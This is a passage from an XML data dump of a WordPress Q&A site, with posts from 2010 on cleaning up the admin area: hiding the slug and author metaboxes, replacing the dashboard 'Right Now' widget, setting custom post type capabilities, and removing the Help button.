&quot;there'd&quot;, &quot;therefore&quot;, &quot;therein&quot;, &quot;there'll&quot;, &quot;there're&quot;, &quot;theres&quot;, &quot;there's&quot;, &quot;thereupon&quot;, &quot;there've&quot;, &quot;these&quot;, &quot;they&quot;, &quot;they'd&quot;, &quot;they'll&quot;, &quot;they're&quot;, &quot;they've&quot;, &quot;thing&quot;, &quot;things&quot;, &quot;think&quot;, &quot;third&quot;, &quot;thirty&quot;, &quot;this&quot;, &quot;thorough&quot;, &quot;thoroughly&quot;, &quot;those&quot;, &quot;though&quot;, &quot;three&quot;, &quot;through&quot;, &quot;throughout&quot;, &quot;thru&quot;, &quot;thus&quot;, &quot;till&quot;, &quot;to&quot;, &quot;together&quot;, &quot;too&quot;, &quot;took&quot;, &quot;toward&quot;, &quot;towards&quot;, &quot;tried&quot;, &quot;tries&quot;, &quot;truly&quot;, &quot;try&quot;, &quot;trying&quot;, &quot;t's&quot;, &quot;twice&quot;, &quot;two&quot;, &quot;u&quot;, &quot;un&quot;, &quot;under&quot;, &quot;underneath&quot;, &quot;undoing&quot;, &quot;unfortunately&quot;, &quot;unless&quot;, &quot;unlike&quot;, &quot;unlikely&quot;, &quot;until&quot;, &quot;unto&quot;, &quot;up&quot;, &quot;upon&quot;, &quot;upwards&quot;, &quot;us&quot;, &quot;use&quot;, &quot;used&quot;, &quot;useful&quot;, &quot;uses&quot;, &quot;using&quot;, &quot;usually&quot;, &quot;v&quot;, &quot;value&quot;, &quot;various&quot;, &quot;versus&quot;, &quot;very&quot;, &quot;via&quot;, &quot;viz&quot;, &quot;vs&quot;, &quot;w&quot;, &quot;want&quot;, &quot;wants&quot;, &quot;was&quot;, &quot;wasn't&quot;, &quot;way&quot;, &quot;we&quot;, &quot;we'd&quot;, &quot;welcome&quot;, &quot;well&quot;, &quot;we'll&quot;, &quot;went&quot;, &quot;were&quot;, &quot;we're&quot;, &quot;weren't&quot;, &quot;we've&quot;, &quot;what&quot;, &quot;whatever&quot;, &quot;what'll&quot;, &quot;what's&quot;, &quot;what've&quot;, &quot;when&quot;, &quot;whence&quot;, &quot;whenever&quot;, &quot;where&quot;, &quot;whereafter&quot;, &quot;whereas&quot;, &quot;whereby&quot;, &quot;wherein&quot;, &quot;where's&quot;, &quot;whereupon&quot;, &quot;wherever&quot;, &quot;whether&quot;, &quot;which&quot;, &quot;whichever&quot;, &quot;while&quot;, &quot;whilst&quot;, &quot;whither&quot;, &quot;who&quot;, &quot;who'd&quot;, &quot;whoever&quot;, &quot;whole&quot;, &quot;who'll&quot;, &quot;whom&quot;, &quot;whomever&quot;, &quot;who's&quot;, &quot;whose&quot;, &quot;why&quot;, &quot;will&quot;, &quot;willing&quot;, &quot;wish&quot;, &quot;with&quot;, &quot;within&quot;, &quot;without&quot;, &quot;wonder&quot;, &quot;won't&quot;, &quot;would&quot;, &quot;wouldn't&quot;, &quot;x&quot;, &quot;y&quot;, &quot;yes&quot;, &quot;yet&quot;, &quot;you&quot;, &quot;you'd&quot;, &quot;you'll&quot;, &quot;your&quot;, &quot;you're&quot;, &quot;yours&quot;, &quot;yourself&quot;, &quot;yourselves&quot;, &quot;you've&quot;, &quot;z&quot;, &quot;zero&quot;);&#xA;   }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When adding the additional code below to your functions.php file it will remove/hide the slug option for the screen options dropdown as well as the metabox. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// HIDE THE SLUG METABOX AND SLUG SCREEN OPTIONS&#xA;   function hide_slug_options() {&#xA; global $post;&#xA; global $pagenow;&#xA; $hide_slugs = &quot;&amp;lt;style type=\&quot;text/css\&quot;&amp;gt;#slugdiv, #edit-slug-box, [for=\&quot;slugdiv-hide\&quot;] { display: none; }&amp;lt;/style&amp;gt;\n&quot;;&#xA; if (is_admin() &amp;amp;&amp;amp; $pagenow=='post-new.php' OR $pagenow=='post.php') print($hide_slugs);&#xA;   }&#xA;   add_action( 'admin_head', 'hide_slug_options'  );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="479" LastEditorUserId="479" LastEditorDisplayName="" LastEditDate="2011-01-26T14:32:02.750" LastActivityDate="2011-01-26T14:32:02.750" CommunityOwnedDate="2010-09-30T01:02:51.357" />
  <row Id="2384" PostTypeId="1" AcceptedAnswerId="2392" CreationDate="2010-09-30T01:26:37.427" Score="0" ViewCount="561" Body="&lt;p&gt;I am looking for a way to remove all the unessesary text from default worpdress metaboxes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Preferably I would like to ensure that the content is not just hidden through CSS but actually removed from the HTML so it does not even show up in the source.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The areas I am interested in removing include:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;The HELP button on the top right and associating DIV/HTML/text when you click on it&lt;/li&gt;&#xA;&lt;li&gt;On the Dashboard in the Right Now Metabox I want to remove the text related to which theme is being used and the version of wordpress as well as the change theme button.&lt;/li&gt;&#xA;&lt;li&gt;On the &quot;Page Attributes&quot; metabox on the bottom it has the text &quot;Need help? Use the Help tab in the upper right of your screen.&quot; I would like for this text to be removed&lt;/li&gt;&#xA;&lt;li&gt;Under the &quot;Excerpt Metabox&quot; there is text which I would like to remove&lt;/li&gt;&#xA;&lt;li&gt;Any other text which you might also know how to remove to cleanup wordpress.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="479" LastActivityDate="2010-10-11T06:56:46.803" Title="Removing Unnecessary Text from Admin Menu without CSS" Tags="&lt;customization&gt;&lt;functions&gt;&lt;cleanup&gt;" AnswerCount="3" CommentCount="7" FavoriteCount="2" />
  <row Id="2385" PostTypeId="2" ParentId="2384" CreationDate="2010-09-30T01:40:29.537" Score="2" ViewCount="" Body="&lt;p&gt;Jake Goldman's excellent talk at WordCamp Mid-Atlantic provides an excellent guide: &lt;a href=&quot;http://www.cmurrayconsulting.com/wordpress-tips/customizing-wordpress-admin/#more-939&quot; rel=&quot;nofollow&quot;&gt;http://www.cmurrayconsulting.com/wordpress-tips/customizing-wordpress-admin/#more-939&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Download the well-commented theme that appears below the slideshow. (He asks that if you use his code, you please attribute it to him in your code comments.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;He mentions that you can get all the widget IDs as follows:&#xA;var_dump( $wp_meta_boxes['dashboard'] );&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could:&#xA;unset($wp_meta_boxes['dashboard']['normal']['core']['dashboard_right_now']);&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then add your own widget using wp_add_dashboard_widget().&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Look in wp-admin/includes/dashboard.php for the function, wp_dashboard_right_now() for a model for what to add (deleting theme info, as desired.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;functions.php&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;/*&#xA;Based on Jake Goldman's approach&#xA;*/&#xA;&#xA;add_action('wp_dashboard_setup', 'custom_dashboard_widgets');&#xA;&#xA;function custom_dashboard_widgets(){&#xA;global $wp_meta_boxes;&#xA;unset($wp_meta_boxes['dashboard']['normal']['core']['dashboard_right_now']);&#xA;wp_add_dashboard_widget('my_dashboard_right_now', 'Right Now', 'right_now_no_theme'); &#xA;}&#xA;&#xA;function right_now_no_theme() {&#xA;        global $wp_registered_sidebars;&#xA;&#xA;        $num_posts = wp_count_posts( 'post' );&#xA;        $num_pages = wp_count_posts( 'page' );&#xA;&#xA;        $num_cats  = wp_count_terms('category');&#xA;&#xA;        $num_tags = wp_count_terms('post_tag');&#xA;&#xA;        $num_comm = wp_count_comments( );&#xA;&#xA;        echo &quot;\n\t&quot;.'&amp;lt;div class=&quot;table table_content&quot;&amp;gt;';&#xA;        echo &quot;\n\t&quot;.'&amp;lt;p class=&quot;sub&quot;&amp;gt;' . __('Content') . '&amp;lt;/p&amp;gt;'.&quot;\n\t&quot;.'&amp;lt;table&amp;gt;';&#xA;        echo &quot;\n\t&quot;.'&amp;lt;tr class=&quot;first&quot;&amp;gt;';&#xA;&#xA;        // Posts&#xA;        $num = number_format_i18n( $num_posts-&amp;gt;publish );&#xA;        $text = _n( 'Post', 'Posts', intval($num_posts-&amp;gt;publish) );&#xA;        if ( current_user_can( 'edit_posts' ) ) {&#xA;                $num = &quot;&amp;lt;a href='edit.php'&amp;gt;$num&amp;lt;/a&amp;gt;&quot;;&#xA;                $text = &quot;&amp;lt;a href='edit.php'&amp;gt;$text&amp;lt;/a&amp;gt;&quot;;&#xA;        }&#xA;        echo '&amp;lt;td class=&quot;first b b-posts&quot;&amp;gt;' . $num . '&amp;lt;/td&amp;gt;';&#xA;        echo '&amp;lt;td class=&quot;t posts&quot;&amp;gt;' . $text . '&amp;lt;/td&amp;gt;';&#xA;&#xA;        echo '&amp;lt;/tr&amp;gt;&amp;lt;tr&amp;gt;';&#xA;        /* TODO: Show status breakdown on hover&#xA;        if ( $can_edit_pages &amp;amp;&amp;amp; !empty($num_pages-&amp;gt;publish) ) { // how many pages is not exposed in feeds.  Don't show if !current_user_can&#xA;                $post_type_texts[] = '&amp;lt;a href=&quot;edit-pages.php&quot;&amp;gt;'.sprintf( _n( '%s page', '%s pages', $num_pages-&amp;gt;publish ), number_format_i18n( $num_pages-&amp;gt;publish ) ).'&amp;lt;/a&amp;gt;';&#xA;        }&#xA;        if ( $can_edit_posts &amp;amp;&amp;amp; !empty($num_posts-&amp;gt;draft) ) {&#xA;                $post_type_texts[] = '&amp;lt;a href=&quot;edit.php?post_status=draft&quot;&amp;gt;'.sprintf( _n( '%s draft', '%s drafts', $num_posts-&amp;gt;draft ), number_format_i18n( $num_posts-&amp;gt;draft ) ).'&amp;lt;/a&amp;gt;';&#xA;        }&#xA;        if ( $can_edit_posts &amp;amp;&amp;amp; !empty($num_posts-&amp;gt;future) ) {&#xA;                $post_type_texts[] = '&amp;lt;a href=&quot;edit.php?post_status=future&quot;&amp;gt;'.sprintf( _n( '%s scheduled post', '%s scheduled posts', $num_posts-&amp;gt;future ), number_format_i18n( $num_posts-&amp;gt;future ) ).'&amp;lt;/a&amp;gt;';&#xA;        }&#xA;        if ( current_user_can('publish_posts') &amp;amp;&amp;amp; !empty($num_posts-&amp;gt;pending) ) {&#xA;                $pending_text = sprintf( _n( 'There is &amp;lt;a href=&quot;%1$s&quot;&amp;gt;%2$s post&amp;lt;/a&amp;gt; pending your review.', 'There are &amp;lt;a href=&quot;%1$s&quot;&amp;gt;%2$s posts&amp;lt;/a&amp;gt; pending your review.', $num_posts-&amp;gt;pending ), 'edit.php?post_status=pending', number_format_i18n( $num_posts-&amp;gt;pending ) );&#xA;        } else {&#xA;                $pending_text = '';&#xA;        }&#xA;        */&#xA;&#xA;        // Pages&#xA;        $num = number_format_i18n( $num_pages-&amp;gt;publish );&#xA;        $text = _n( 'Page', 'Pages', $num_pages-&amp;gt;publish );&#xA;        if ( current_user_can( 'edit_pages' ) ) {&#xA;                $num = &quot;&amp;lt;a href='edit.php?post_type=page'&amp;gt;$num&amp;lt;/a&amp;gt;&quot;;&#xA;                $text = &quot;&amp;lt;a href='edit.php?post_type=page'&amp;gt;$text&amp;lt;/a&amp;gt;&quot;;&#xA;        }&#xA;        echo '&amp;lt;td class=&quot;first b b_pages&quot;&amp;gt;' . $num . '&amp;lt;/td&amp;gt;';&#xA;        echo '&amp;lt;td class=&quot;t pages&quot;&amp;gt;' . $text . '&amp;lt;/td&amp;gt;';&#xA;&#xA;        echo '&amp;lt;/tr&amp;gt;&amp;lt;tr&amp;gt;';&#xA;&#xA;        // Categories&#xA;        $num = number_format_i18n( $num_cats );&#xA;        $text = _n( 'Category', 'Categories', $num_cats );&#xA;        if ( current_user_can( 'manage_categories' ) ) {&#xA;                $num = &quot;&amp;lt;a href='edit-tags.php?taxonomy=category'&amp;gt;$num&amp;lt;/a&amp;gt;&quot;;&#xA;                $text = &quot;&amp;lt;a href='edit-tags.php?taxonomy=category'&amp;gt;$text&amp;lt;/a&amp;gt;&quot;;&#xA;        }&#xA;        echo '&amp;lt;td class=&quot;first b b-cats&quot;&amp;gt;' . $num . '&amp;lt;/td&amp;gt;';&#xA;        echo '&amp;lt;td class=&quot;t cats&quot;&amp;gt;' . $text . '&amp;lt;/td&amp;gt;';&#xA;&#xA;        echo '&amp;lt;/tr&amp;gt;&amp;lt;tr&amp;gt;';&#xA;&#xA;        // Tags&#xA;        $num = number_format_i18n( $num_tags );&#xA;        $text = _n( 'Tag', 'Tags', $num_tags );&#xA;        if ( current_user_can( 'manage_categories' ) ) {&#xA;                $num = &quot;&amp;lt;a href='edit-tags.php'&amp;gt;$num&amp;lt;/a&amp;gt;&quot;;&#xA;                $text = &quot;&amp;lt;a href='edit-tags.php'&amp;gt;$text&amp;lt;/a&amp;gt;&quot;;&#xA;        }&#xA;        echo '&amp;lt;td class=&quot;first b b-tags&quot;&amp;gt;' . $num . '&amp;lt;/td&amp;gt;';&#xA;        echo '&amp;lt;td class=&quot;t tags&quot;&amp;gt;' . $text . '&amp;lt;/td&amp;gt;';&#xA;&#xA;        echo &quot;&amp;lt;/tr&amp;gt;&quot;;&#xA;        do_action('right_now_content_table_end');&#xA;        echo &quot;\n\t&amp;lt;/table&amp;gt;\n\t&amp;lt;/div&amp;gt;&quot;;&#xA;&#xA;&#xA;        echo &quot;\n\t&quot;.'&amp;lt;div class=&quot;table table_discussion&quot;&amp;gt;';&#xA;        echo &quot;\n\t&quot;.'&amp;lt;p class=&quot;sub&quot;&amp;gt;' . __('Discussion') . '&amp;lt;/p&amp;gt;'.&quot;\n\t&quot;.'&amp;lt;table&amp;gt;';&#xA;        echo &quot;\n\t&quot;.'&amp;lt;tr class=&quot;first&quot;&amp;gt;';&#xA;&#xA;        // Total Comments&#xA;        $num = '&amp;lt;span class=&quot;total-count&quot;&amp;gt;' . number_format_i18n($num_comm-&amp;gt;total_comments) . '&amp;lt;/span&amp;gt;';&#xA;        $text = _n( 'Comment', 'Comments', $num_comm-&amp;gt;total_comments );&#xA;        if ( current_user_can( 'moderate_comments' ) ) {&#xA;                $num = '&amp;lt;a href=&quot;edit-comments.php&quot;&amp;gt;' . $num . '&amp;lt;/a&amp;gt;';&#xA;                $text = '&amp;lt;a href=&quot;edit-comments.php&quot;&amp;gt;' . $text . '&amp;lt;/a&amp;gt;';&#xA;        }&#xA;        echo '&amp;lt;td class=&quot;b b-comments&quot;&amp;gt;' . $num . '&amp;lt;/td&amp;gt;';&#xA;        echo '&amp;lt;td class=&quot;last t comments&quot;&amp;gt;' . $text . '&amp;lt;/td&amp;gt;';&#xA;&#xA;        echo '&amp;lt;/tr&amp;gt;&amp;lt;tr&amp;gt;';&#xA;&#xA;        // Approved Comments&#xA;        $num = '&amp;lt;span class=&quot;approved-count&quot;&amp;gt;' . number_format_i18n($num_comm-&amp;gt;approved) . '&amp;lt;/span&amp;gt;';&#xA;        $text = _nx( 'Approved', 'Approved', $num_comm-&amp;gt;approved, 'Right Now' );&#xA;        if ( current_user_can( 'moderate_comments' ) ) {&#xA;                $num = &quot;&amp;lt;a href='edit-comments.php?comment_status=approved'&amp;gt;$num&amp;lt;/a&amp;gt;&quot;;&#xA;                $text = &quot;&amp;lt;a class='approved' href='edit-comments.php?comment_status=approved'&amp;gt;$text&amp;lt;/a&amp;gt;&quot;;&#xA;        }&#xA;        echo '&amp;lt;td class=&quot;b b_approved&quot;&amp;gt;' . $num . '&amp;lt;/td&amp;gt;';&#xA;        echo '&amp;lt;td class=&quot;last t&quot;&amp;gt;' . $text . '&amp;lt;/td&amp;gt;';&#xA;&#xA;        echo &quot;&amp;lt;/tr&amp;gt;\n\t&amp;lt;tr&amp;gt;&quot;;&#xA;&#xA;        // Pending Comments&#xA;        $num = '&amp;lt;span class=&quot;pending-count&quot;&amp;gt;' . number_format_i18n($num_comm-&amp;gt;moderated) . '&amp;lt;/span&amp;gt;';&#xA;        $text = _n( 'Pending', 'Pending', $num_comm-&amp;gt;moderated );&#xA;        if ( current_user_can( 'moderate_comments' ) ) {&#xA;                $num = &quot;&amp;lt;a href='edit-comments.php?comment_status=moderated'&amp;gt;$num&amp;lt;/a&amp;gt;&quot;;&#xA;                $text = &quot;&amp;lt;a class='waiting' href='edit-comments.php?comment_status=moderated'&amp;gt;$text&amp;lt;/a&amp;gt;&quot;;&#xA;        }&#xA;        echo '&amp;lt;td class=&quot;b b-waiting&quot;&amp;gt;' . $num . '&amp;lt;/td&amp;gt;';&#xA;        echo '&amp;lt;td class=&quot;last t&quot;&amp;gt;' . $text . '&amp;lt;/td&amp;gt;';&#xA;&#xA;        echo &quot;&amp;lt;/tr&amp;gt;\n\t&amp;lt;tr&amp;gt;&quot;;&#xA;&#xA;        // Spam Comments&#xA;        $num = number_format_i18n($num_comm-&amp;gt;spam);&#xA;        $text = _nx( 'Spam', 'Spam', $num_comm-&amp;gt;spam, 'comment' );&#xA;        if ( current_user_can( 'moderate_comments' ) ) {&#xA;                $num = &quot;&amp;lt;a href='edit-comments.php?comment_status=spam'&amp;gt;&amp;lt;span class='spam-count'&amp;gt;$num&amp;lt;/span&amp;gt;&amp;lt;/a&amp;gt;&quot;;&#xA;                $text = &quot;&amp;lt;a class='spam' href='edit-comments.php?comment_status=spam'&amp;gt;$text&amp;lt;/a&amp;gt;&quot;;&#xA;        }&#xA;        echo '&amp;lt;td class=&quot;b b-spam&quot;&amp;gt;' . $num . '&amp;lt;/td&amp;gt;';&#xA;        echo '&amp;lt;td class=&quot;last t&quot;&amp;gt;' . $text . '&amp;lt;/td&amp;gt;';&#xA;&#xA;        echo &quot;&amp;lt;/tr&amp;gt;&quot;;&#xA;        do_action('right_now_table_end');&#xA;        do_action('right_now_discussion_table_end');&#xA;        echo &quot;\n\t&amp;lt;/table&amp;gt;\n\t&amp;lt;/div&amp;gt;&quot;;&#xA;&#xA;        echo &quot;\n\t&quot;.'&amp;lt;div class=&quot;versions&quot;&amp;gt;';&#xA;        $ct = current_theme_info();&#xA;&#xA;        echo &quot;\n\t&amp;lt;p&amp;gt;&quot;;&#xA;/*&#xA;        if ( !empty($wp_registered_sidebars) ) {&#xA;                $sidebars_widgets = wp_get_sidebars_widgets();&#xA;                $num_widgets = 0;&#xA;                foreach ( (array) $sidebars_widgets as $k =&amp;gt; $v ) {&#xA;                        if ( 'wp_inactive_widgets' == $k )&#xA;                                continue;&#xA;                        if ( is_array($v) )&#xA;                                $num_widgets = $num_widgets + count($v);&#xA;                }&#xA;&#xA;                $num = number_format_i18n( $num_widgets );&#xA;                $switch_themes = $ct-&amp;gt;title;&#xA;                if ( current_user_can( 'switch_themes') ) {&#xA;                        echo '&amp;lt;a href=&quot;themes.php&quot; class=&quot;button rbutton&quot;&amp;gt;' . __('Change Theme') . '&amp;lt;/a&amp;gt;';&#xA;                        $switch_themes = '&amp;lt;a href=&quot;themes.php&quot;&amp;gt;' . $switch_themes . '&amp;lt;/a&amp;gt;';&#xA;                }&#xA;                if ( current_user_can( 'edit_theme_options' ) ) {&#xA;                        printf(_n('Theme &amp;lt;span class=&quot;b&quot;&amp;gt;%1$s&amp;lt;/span&amp;gt; with &amp;lt;span class=&quot;b&quot;&amp;gt;&amp;lt;a href=&quot;widgets.php&quot;&amp;gt;%2$s Widget&amp;lt;/a&amp;gt;&amp;lt;/span&amp;gt;', 'Theme &amp;lt;span class=&quot;b&quot;&amp;gt;%1$s&amp;lt;/span&amp;gt; with &amp;lt;span class=&quot;b&quot;&amp;gt;&amp;lt;a href=&quot;widgets.php&quot;&amp;gt;%2$s Widgets&amp;lt;/a&amp;gt;&amp;lt;/span&amp;gt;', $num_widgets), $switch_themes, $num);&#xA;                } else {&#xA;                        printf(_n('Theme &amp;lt;span class=&quot;b&quot;&amp;gt;%1$s&amp;lt;/span&amp;gt; with &amp;lt;span class=&quot;b&quot;&amp;gt;%2$s Widget&amp;lt;/span&amp;gt;', 'Theme &amp;lt;span class=&quot;b&quot;&amp;gt;%1$s&amp;lt;/span&amp;gt; with &amp;lt;span class=&quot;b&quot;&amp;gt;%2$s Widgets&amp;lt;/span&amp;gt;', $num_widgets), $switch_themes, $num);&#xA;                }&#xA;        } else {&#xA;                if ( current_user_can( 'switch_themes' ) ) {&#xA;                        echo '&amp;lt;a href=&quot;themes.php&quot; class=&quot;button rbutton&quot;&amp;gt;' . __('Change Theme') . '&amp;lt;/a&amp;gt;';&#xA;                        printf( __('Theme &amp;lt;span class=&quot;b&quot;&amp;gt;&amp;lt;a href=&quot;themes.php&quot;&amp;gt;%1$s&amp;lt;/a&amp;gt;&amp;lt;/span&amp;gt;'), $ct-&amp;gt;title );&#xA;                } else {&#xA;                        printf( __('Theme &amp;lt;span class=&quot;b&quot;&amp;gt;%1$s&amp;lt;/span&amp;gt;'), $ct-&amp;gt;title );&#xA;                }&#xA;&#xA;        }&#xA;*/&#xA;        echo '&amp;lt;/p&amp;gt;';&#xA;&#xA;        update_right_now_message();&#xA;&#xA;        echo &quot;\n\t&quot;.'&amp;lt;br class=&quot;clear&quot; /&amp;gt;&amp;lt;/div&amp;gt;';&#xA;        do_action( 'rightnow_end' );&#xA;        do_action( 'activity_box_end' );&#xA;}&#xA;&#xA;&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1079" LastEditorUserId="1079" LastEditorDisplayName="" LastEditDate="2010-09-30T04:43:08.240" LastActivityDate="2010-09-30T04:43:08.240" CommentCount="7" />
  <row Id="2386" PostTypeId="2" ParentId="1746" CreationDate="2010-09-30T02:18:14.107" Score="0" ViewCount="" Body="&lt;p&gt;The problem was with the themes I tried .It is ok with other themes .&lt;/p&gt;&#xA;" OwnerUserId="402" LastActivityDate="2010-09-30T02:18:14.107" />
  <row Id="2387" PostTypeId="2" ParentId="1884" CreationDate="2010-09-30T02:24:38.637" Score="0" ViewCount="" Body="&lt;p&gt;The problem has been solved when I deactivated some plugins .&lt;/p&gt;&#xA;" OwnerUserId="402" LastActivityDate="2010-09-30T02:24:38.637" />
  <row Id="2388" PostTypeId="2" ParentId="1567" CreationDate="2010-09-30T03:06:41.430" Score="6" ViewCount="" Body="&lt;h2&gt;Remove Author Metabox/Options &amp;amp; Move to Publish MetaBox&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;&lt;strong&gt;Tested on:&lt;/em&gt;&lt;/strong&gt; &lt;em&gt;Wordpress 3.0.1&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One of the things that drive me crazy is a cluttered Wordpress Admin area. One of the elements which I now always setup from the start in my functions.php file is removing the Author MetaBox and Screen Options and then adding the option into the publish metabox. In my opinion this just makes sense and keep things clean. This also respects applicable permissions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To achieve this goal, just copy and past the following code into your functions.php file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you feel there is a better way of doing this please suggest.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;NOTE: UPDATED THE CODE TO FIX A CODING ISSUE&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// MOVE THE AUTHOR METABOX INTO THE PUBLISH METABOX&#xA;add_action( 'admin_menu', 'remove_author_metabox' );&#xA;add_action( 'post_submitbox_misc_actions', 'move_author_to_publish_metabox' );&#xA;function remove_author_metabox() {&#xA;    remove_meta_box( 'authordiv', 'post', 'normal' );&#xA;}&#xA;function move_author_to_publish_metabox() {&#xA;    global $post_ID;&#xA;    $post = get_post( $post_ID );&#xA;    echo '&amp;lt;div id=&quot;author&quot; class=&quot;misc-pub-section&quot; style=&quot;border-top-style:solid; border-top-width:1px; border-top-color:#EEEEEE; border-bottom-width:0px;&quot;&amp;gt;Author: ';&#xA;    post_author_meta_box( $post );&#xA;    echo '&amp;lt;/div&amp;gt;';&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="479" LastEditorUserId="479" LastEditorDisplayName="" LastEditDate="2011-02-01T22:27:37.200" LastActivityDate="2011-02-01T22:27:37.200" CommunityOwnedDate="2010-09-30T03:06:41.430" CommentCount="11" />
  <row Id="2389" PostTypeId="1" AcceptedAnswerId="2391" CreationDate="2010-09-30T04:35:30.640" Score="2" ViewCount="869" Body="&lt;p&gt;On creation of a custom post type I'm trying to define capabilities but it's not working. What's wrong with this code?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$args = array(&#xA;  'labels' =&amp;gt; $labels,&#xA;  'public' =&amp;gt; true,&#xA;  'publicly_queryable' =&amp;gt; true,&#xA;  'show_ui' =&amp;gt; true,&#xA;  'query_var' =&amp;gt; true,&#xA;  'rewrite' =&amp;gt; true,&#xA;  'hierarchical' =&amp;gt; false,&#xA;  'menu_position' =&amp;gt; null,&#xA;  'supports' =&amp;gt; array('title'),&#xA;  'capabilities' =&amp;gt; array(&#xA;   'edit_post' =&amp;gt; 'edit_video',&#xA;   'edit_posts' =&amp;gt; 'edit_videos',&#xA;   'edit_others_posts' =&amp;gt; 'edit_others_videos',&#xA;   'publish_posts' =&amp;gt; 'publish_videos',&#xA;   'read_post' =&amp;gt; 'read_videos',&#xA;   'read_private_posts' =&amp;gt; 'read_private_videos',&#xA;   'delete_post' =&amp;gt; 'delete_videos'&#xA;   )&#xA;   );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1063" LastActivityDate="2011-06-29T07:07:29.047" Title="Defining capabilities for custom post type" Tags="&lt;custom-post-types&gt;&lt;capabilities&gt;&lt;roles&gt;" AnswerCount="2" FavoriteCount="1" />
  <row Id="2390" PostTypeId="2" ParentId="2375" CreationDate="2010-09-30T05:30:32.657" Score="2" ViewCount="" Body="&lt;p&gt;Based on the update of your question:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function change_link( $permalink, $post ) {&#xA;    if( $post-&amp;gt;post_type == 'video' ) { // assuming the post type is video&#xA;        $permalink = home_url( 'video?id='.$post-&amp;gt;ID );&#xA;    }&#xA;    return $permalink;&#xA;}&#xA;add_filter('post_type_link',&quot;change_link&quot;,10,2);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="473" LastEditorUserId="473" LastEditorDisplayName="" LastEditDate="2010-10-22T18:10:50.170" LastActivityDate="2010-10-22T18:10:50.170" CommentCount="5" />
  <row Id="2391" PostTypeId="2" ParentId="2389" CreationDate="2010-09-30T05:36:09.243" Score="2" ViewCount="" Body="&lt;p&gt;You code seems to be correct. Try the following instead.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$args = array(&#xA;    'labels' =&amp;gt; $labels,&#xA;    'public' =&amp;gt; true,&#xA;    'publicly_queryable' =&amp;gt; true,&#xA;    'show_ui' =&amp;gt; true,&#xA;    'query_var' =&amp;gt; true,&#xA;    'rewrite' =&amp;gt; true,&#xA;    'hierarchical' =&amp;gt; false,&#xA;    'menu_position' =&amp;gt; null,&#xA;    'supports' =&amp;gt; array('title'),&#xA;    'capability_type' =&amp;gt; 'video'&#xA;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You have to do some extra steps before making it work with the members plugin. See this forum post from Justin Tadlock (developer of the members plugin).&#xA;&lt;a href=&quot;http://wordpress.org/support/topic/anyone-managed-to-get-custom-post-types-capabilities-working/page/2#post-1593534&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/support/topic/anyone-managed-to-get-custom-post-types-capabilities-working/page/2#post-1593534&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This plugin seems to be doing it automatically:&#xA;&lt;a href=&quot;http://wordpress.org/extend/plugins/map-cap/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/map-cap/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="473" LastEditorUserId="473" LastEditorDisplayName="" LastEditDate="2010-09-30T08:04:02.530" LastActivityDate="2010-09-30T08:04:02.530" CommentCount="4" />
  <row Id="2392" PostTypeId="2" ParentId="2384" CreationDate="2010-09-30T06:33:31.390" Score="4" ViewCount="" Body="&lt;p&gt;Hi &lt;em&gt;@NetConstructor&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's an answer to question #1. Not enough time right now to do the rest.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;1.) Removing Admin Help Link Button&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Unfortunately WordPress doesn't provide a hook to let you affect the Help Button on the top right of the admin, but you can use a &lt;em&gt;somewhat dirty hack&lt;/em&gt; to achieve what you are trying to accomplish.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Now you See It:&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://mikeschinkel.com/websnaps/skitched-20100930-022104.png&quot; alt=&quot;Help Link Button in WordPress Admin&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Now you Don't:&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://mikeschinkel.com/websnaps/skitched-20100930-022924.png&quot; alt=&quot;Help Link Button Removed in WordPress Admin&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By calling the &lt;code&gt;contextual_help&lt;/code&gt; and &lt;code&gt;admin_notices&lt;/code&gt; hooks, the ones that are called  immediately before and immediately after when the help link button is output, respectively, you can capture the output buffer and remove the offending HTML using 